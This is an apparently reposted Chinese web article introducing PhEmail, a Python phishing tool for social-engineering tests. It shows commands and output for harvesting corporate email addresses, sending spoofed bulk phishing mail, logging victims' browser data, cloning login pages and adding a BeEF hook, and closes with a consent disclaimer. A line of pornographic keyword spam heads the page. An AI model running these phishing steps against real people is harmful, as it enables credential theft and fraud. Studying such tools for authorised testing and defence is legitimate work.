日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間：8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
PhEmail：基于Python的開源網(wǎng)絡(luò)釣魚攻擊工具

PhEmail簡介

PhEmail是一款采用Python編程語言開發(fā)的開源網(wǎng)絡(luò)釣魚郵件工具，它可以幫助研究人員在進(jìn)行社會(huì)工程學(xué)測試的過程中自動(dòng)化地給目標(biāo)發(fā)送網(wǎng)絡(luò)釣魚郵件。PhEmail不僅可以同時(shí)向多個(gè)目標(biāo)用戶發(fā)送釣魚郵件并識(shí)別出哪些用戶點(diǎn)擊了郵件，而且還可以在不利用任何瀏覽器漏洞或郵件客戶端漏洞的前提下盡可能多地收集信息。PhEmail自帶的引擎可以通過LinkedIN來收集電子郵箱地址，這些數(shù)據(jù)可以幫助測試人員完成信息采集階段的一部分工作。

除此之外，PhEmail還支持Gmail身份驗(yàn)證，這一功能在目標(biāo)站點(diǎn)屏蔽了郵件源或IP地址的情況下會(huì)非常有用。值得一提的是，該工具還可以克隆目標(biāo)組織或企業(yè)的門戶網(wǎng)站登錄界面，測試人員可以用這些偽造的頁面來竊取目標(biāo)用戶的登錄憑證。

使用樣例

一般來說，第一步是收集目標(biāo)企業(yè)的郵箱地址。PhEmail的搜索引擎在收集到了企業(yè)郵箱地址之后，會(huì)將它們保存在一個(gè)文件中，演示代碼如下：

 
 
 
 
    
  
  
  
  
  1. # phemail.py -g1@example.com 
    2.   
  
  
  
  2. Gathering emails from domain: example.com100%  
    3.   
  
  
  
  3. Completed! 
    4.   
  
  
  
  4. test@example.com 
    5.   
  
  
  
  5. test2@example.com […] emails.txt updated 
    6.

得到了企業(yè)郵箱地址之后，接下來就要?jiǎng)?chuàng)建釣魚郵件模板了。模板中的每一個(gè)URL必須要包含一個(gè)字符串”{0}”，因?yàn)槟_本會(huì)自動(dòng)將這個(gè)字符串替換成正確的URL地址。一次真實(shí)的測試場景截圖如下：

接下來，我們需要在Web服務(wù)器上安裝php環(huán)境并將php文件”index.php”復(fù)制到Web服務(wù)器的根目錄下。這個(gè)文件中包含的JavaScript代碼會(huì)收集瀏覽器信息并將其保存到/tmp目錄下的日志文件中。演示實(shí)例如下：

 
 
 
 
    
  
  
  
  
  1. # phemail.py -e test-emails.txt -f"Fast Holiday " -r "Fast Holiday " -s "Last MinuteHoliday" -b body.txt -w http://YOUR-WEBSITE.com 
    2.   
  
  
  
  2. SMTP server: mail.example.com  
    3.   
  
  
  
  3. Sent to test@example.com 
    4.   
  
  
  
  4. Error: sending tonotExist-email@example.com  
    5.   
  
  
  
  5. Phishing URLs point to http://YOUR-WEBSITE.com 
    6.   
  
  
  
  6. Phemail.py log file saved: phemail-log-12-07-2012_15-42.txt 
    7.

接下來，你只需要等待目標(biāo)用戶點(diǎn)擊釣魚郵件，然后你就能夠收集到目標(biāo)用戶的某些瀏覽器信息了：

 
 
 
 
    
  
  
  
  
  1. Email: test@example.com 
    2.   
  
  
  
  2. Date: Thu 12/07/2012 11:00:13  
    3.   
  
  
  
  3. IP: 192.168.0.123  
    4.   
  
  
  
  4. User Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 appCodeName: Mozilla appName:Netscape appVersion: 5.0 (Windows) appMinorVersion: undefined product: GeckocookieEnabled: true cpuClass: undefined onLine: true opsProfile: undefineduserProfile: undefined language: en-US platform: Win32 systemLanguage:undefined userLanguage: undefined flash: Enabled Plugins: Google UpdateShockwave Flash 11.3 r300 Google Talk Plugin Video Acceleratorversion:0.1.44.16 Version 3.1.4.8140 5.1.10411.0 Adobe PDF Plug-In For Firefoxand Netscape 10.1.3 NPRuntime Script Plug-in Library for Java? Deploy VmwareRemote Console and Client Integration Plug-in BlackBerry WebSL Browser Plug-InBing Bar The plug-in allows you to open and edit files using Microsoft Officeapplications Office Authorization plug-in for NPAPI browsers 
    5.

PhEmail項(xiàng)目主頁

【 GitHub傳送門 】

工具下載

你可以直接通過克隆PhEmail的GitHub代碼庫來完成工具的下載：

 
 
 
 
    
  
  
  
  
  1. git clone https://github.com/Dionach/PhEmail 
    2.

工具使用

 
 
 
 
    
  
  
  
  
  1. PHishing EMAIL tool v0.13 
    2.   
  
  
  
  2. Usage: phemail.py [-e ] [-m] [-f ] [-r ] [-s] [-b ] 
    3.   
  
  
  
  3.          -e    emails: File containing list of emails(Default: emails.txt) 
    4.   
  
  
  
  4.          -f    from_address: Source emailaddress displayed in FROM field of the email (Default: Name Surname) 
    5.   
  
  
  
  5.          -r    reply_address: Actual emailaddress used to send the emails in case that people reply to the email(Default: Name Surname ) 
    6.   
  
  
  
  6.          -s    subject: Subject of theemail (Default: Newsletter) 
    7.   
  
  
  
  7.          -b    body: Body of the email(Default: body.txt) 
    8.   
  
  
  
  8.          -p    pages: Specifies number ofresults pages searched (Default: 10 pages) 
    9.   
  
  
  
  9.          -v    verbose: Verbose Mode(Default: false) 
    10.   
  
  
  
  10.          -l    layout: Send email with noembedded pictures  
    11.   
  
  
  
  11.          -B    BeEF: Add the hook for BeEF 
    12.   
  
  
  
  12.          -m    mail_server: SMTP mailserver to connect to 
    13.   
  
  
  
  13.          -g    Google: Use a google accountusername:password 
    14.   
  
  
  
  14.          -t    Time delay: Add deleaybetween each email (Default: 3 sec) 
    15.   
  
  
  
  15.          -R    Bunch of emails per time(Default: 10 emails) 
    16.   
  
  
  
  16.          -L    webserverLog: Customise thename of the webserver log file (Default: Date time in format"%d_%m_%Y_%H_%M") 
    17.   
  
  
  
  17.          -S    Search: query on Google 
    18.   
  
  
  
  18.          -d    domain: of email addresses 
    19.   
  
  
  
  19.          -n    number: of emails perconnection (Default: 10 emails) 
    20.   
  
  
  
  20.           -c   clone: Clone a web page 
    21.   
  
  
  
  21.          -w    website: where the phishingemail link points to 
    22.   
  
  
  
  22.          -o    save output in a file 
    23.   
  
  
  
  23.          -F    Format (Default: 0):  
    24.   
  
  
  
  24.                 0- firstname surname 
    25.   
  
  
  
  25.                 1- firstname.surname@example.com 
    26.   
  
  
  
  26.                 2- firstnamesurname@example.com 
    27.   
  
  
  
  27.                 3- f.surname@example.com 
    28.   
  
  
  
  28.                 4- firstname.s@example.com 
    29.   
  
  
  
  29.                 5-surname.firstname@example.com 
    30.   
  
  
  
  30.                 6- s.firstname@example.com 
    31.   
  
  
  
  31.                 7- surname.f@example.com 
    32.   
  
  
  
  32.                 8- surnamefirstname@example.com 
    33.   
  
  
  
  33.                 9- firstname_ 
    34.

免責(zé)聲明

請不要在沒有得到目標(biāo)用戶事先同意的情況下實(shí)用PhEmail來進(jìn)行測試，由使用者自身使用不當(dāng)所帶來的問題開發(fā)人員不承擔(dān)任何責(zé)任，同時(shí)我們也對PhEmail所帶來的損失概不負(fù)責(zé)，請大家妥善使用。


新聞名稱：PhEmail：基于Python的開源網(wǎng)絡(luò)釣魚攻擊工具
本文路徑：http://www.5511xx.com/article/coighoo.html